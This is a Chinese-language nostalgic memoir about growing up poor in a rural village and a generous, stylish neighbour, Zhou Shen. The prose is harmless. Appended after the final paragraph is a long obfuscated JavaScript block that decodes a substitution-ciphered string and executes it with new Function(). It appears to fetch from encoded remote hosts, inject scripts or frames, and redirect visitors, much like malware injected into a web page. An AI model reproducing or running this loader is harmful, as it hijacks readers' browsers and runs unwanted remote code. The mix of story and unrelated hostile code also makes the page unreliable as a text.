我不知道我为什么要写下这篇回忆。回忆里没有悱恻缠绵的爱情,没有指点江山的豪气,没有尔虞我诈的阴谋,没有峰回路转的剧情,有的只是一个女人留给一个男人的记忆。
首先交待一下回忆里的女主角——周婶。周婶是我的邻居,故事开始的时候,周婶是个三十出头的少妇,同时也是我们村上最美的少妇。回忆里的男主角是我,一个出生在水乡农村的普通男人,故事开始的时候,我还是一个青春期的少年。
交待完故事的人物,再交待故事的背景。我家里很穷,因为我出生在一个注定很穷的家庭里。我家所在村子离县城有十公里左右,位置不算偏。我爷爷解放前住在城东一带,是跺跺脚整个城东都要震两震的人物。我爷爷死的时候我才两岁,我姐站在场上跺着脚喊,夏鬼子死掉了,夏鬼子死掉了。当然,我和姐姐都不记得这些事情,都是我妈后来跟我们讲的。夏鬼子是爷爷的绰号,村里人都这么叫他。至于爷爷到底是干什么的,我爸爸从来没跟我说过,这些对爷爷的评价还是听村里老人说的。解放后,我爷爷就成了穷鬼,家里的东西被政府没收了,闹饥荒的时候,爷爷用他偷偷藏着的金戒指换了半袋子米,算是熬过了那段日子。到了文革时期,爷爷还是没躲过被批斗的命运,我爸爸和我奶奶陪着我爷爷回到老家农村接受改造。我爸爸还是高中文化,因为出身原因,连大学也不能上,也没有工作,所以我家里很穷。
我家里很穷的另一个原因是我妈妈家里也穷。我舅公家原是江上的渔民,那时候渔民最大的愿望就是能在岸上落户。我舅公一家有些商业头脑,不光捕了鱼卖,还收了其他渔户的鱼去县城的集市卖。就这样,我舅公一家攒下了不少家底,怀着对土地的梦想,舅公一家用多年积攒的钱在我们村上买了十几亩地。让舅公一家没想到的是,买了地第二年解放了,我们这里人均土地不多,有十几亩地的舅公一家不光土地被没收,还被划成了地主。一夜之间,舅公一家也成了穷人,而跟我舅公一起捕鱼的渔民则被政府安置在村上,他们都带着多年捕鱼的积蓄,家家都比我舅公家富裕了。
也许是同病相连吧,虽然我妈妈和我爸爸相差了七八岁,但我妈妈还是嫁给了我爸爸。文革结束后,我爸爸因为有文化,被安排进了镇上的一家工厂上班。我妈妈以为家里可以变富裕了,没想到在一次事故中,我爸爸被炸伤了,只能在厂里看大门,家里的重担都压在了妈妈身上,所以我家里一直很穷。
周叔家以前也很穷,周叔的父亲年纪轻轻就去世了,家里没劳力,所以很穷。周婶娘家是我们镇上的,听说成分也不好。周婶之所以肯嫁给周叔,是因为周叔家虽穷,但周叔的大伯在上海。周叔的大伯没有子嗣,周叔的姐姐过继给了他大伯,他大伯和他姐姐每年都会带些东西回乡来看周叔一家。事实证明,周婶嫁给周叔是明智的选择。她成了我们村上最漂亮、最洋气的女人。
改革开放以后,能说会道的周叔进了镇里的物资公司当经理,周婶则在一家纺织厂当班长,他们家很快就成了我大队里最富裕的家庭之一。八十年代初,村里开始建楼房,但大多数家庭财力有限,都是先建一层平顶,过几年再盖一层。只有几户人家能一下子把楼房建好,周叔家就是其中之一。别人家的楼房大多是用石灰和黄沙把墙壁粉成灰白色,有的人家干脆就是红砖墙,只有周叔家里用了涂料,下面一米是蓝色的,上面和天花板是纯白的。
周婶比我大十八岁,她嫁给周叔的时候很年轻,她的儿子周浩比我小一岁。也许是她家庭背景跟我家相似,周婶并没有因为我家穷而歧视我家,相反,对我家很好。她家后门对着我家前门,所以我小时候基本上是在她家里度过的,因为她家里有很多新奇的东西。那时候村里很多人家里虽然盖了楼房,但地面还是用土压实的那种,一到雨天,家里总是湿湿的。周叔家里不但浇了水泥地坪,还在门前浇了一大块水泥场,夏天的时候把电视机往门口一放,附近的村民都到他家看电视,或者谈谈山海经。上小学的时候,我吃完晚饭就会跑到周婶家去,等着看《射雕英雄传》和《西游记》。那时候我胆子小,看到梅超风练九阴白骨爪和孙悟空三打白骨精的片段都不敢看。
周叔家里还有很多别人家没有的东西,比如立体声的收录机和手提式的彩色小电视机,那时候好多家庭连黑白电视机都没有,我们看到小电视都很稀奇,只是那小电视机没用多久就被周浩摔坏了。我印象最深刻的就是在周叔家里听上海带回来的磁带,单口相声和沪剧《阿必大回娘家》。那时候我只知道阿必大的婶娘是好人,心里还想着,阿必大的婶娘就是周婶。
再后来,村里不少人家都买了黑白电视机,我家也买了,我记得一开始是红灯牌的,我爸妈特别爱护,总用毛巾罩着,结果不散热,没看几天就坏了,后来拿到店里换了个长虹牌的。村里电视机多了之后,周叔家门前就没有那么热闹了。不过周叔家里又有了放像机,每当搞来新的录像带,他家里就像开了录像馆一样。周叔的录像机是放在房间里的,虽然我经常去周叔家里,但有了放像机,我才第一次进周叔和周婶的房间。房间里家具很亮,整个房间都带着一股清香,那时候我才知道世界上还有一种叫香水的东西。怪不得周婶身上的气味总是和村上其他女人不一样。
农村的孩子,星期天和暑假最常的消遣就是抓鱼摸虾,钓田鸡。这不光是消遣,很多农村孩子的肉质营养就是从这里来的。因为周叔家条件好,周浩很少去干这些事情,甚至下河游泳都不会,后来周婶让我们村里的孩子带着他去,他才学会了游泳。
馄饨是我们这里比较喜欢吃的一种食物。我妈妈平时家里裹的馄饨都是用蔬菜煮了放点菜油拌馅,难得放一两个鸡蛋在里面。周婶家里吃馄饨却要买一两斤肉拌在馅里面,裹出来的馄饨味道鲜美。周婶每次吃馄饨都会端一大碗送到我家,我妈也不舍得吃,总是让我和我姐姐先吃。
我上六年级的时候,跟比我大几岁的孩子一起去东山挖竹笋。我比其他孩子小,挖的竹笋也少,只有半袋子,不过多挖了我也拿不动。回到家,我妈就用自家腌制的雪菜烧笋片吃。农家吃的蔬菜都是自己种的,妈妈从没去买过竹笋吃,只有偶尔去吃酒席才能吃到竹笋。一般都是雪菜炒笋片或者肉丝炒笋片,讲究点的就是竹笋煮蹄膀。妈妈非常喜欢吃竹笋,可烧出来的竹笋麻麻的一点儿也不好吃。那天周浩奶奶不在家,周婶家里没人,周婶到了傍晚才回家,我妈让我拿一半竹笋送到周婶家去。本来我妈想送给周婶三分之一的竹笋,可能是烧了麻嘴,她才让我拿一半去送给周婶的。周婶见我送竹笋去很高兴,我偷偷告诉她,我妈本来不想送这么多的,因为烧了麻嘴才叫我拿这么多来的。周婶听了咯咯直笑,让我告诉我妈,烧竹笋要多煮一会儿才不麻嘴,周婶还从碗橱里放腌肉的罐头里拿了一块半精半肥的腌肉给我,让我回家炒竹笋。那天晚上,我吃到了记忆里味道最鲜美的竹笋炒肉片。
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();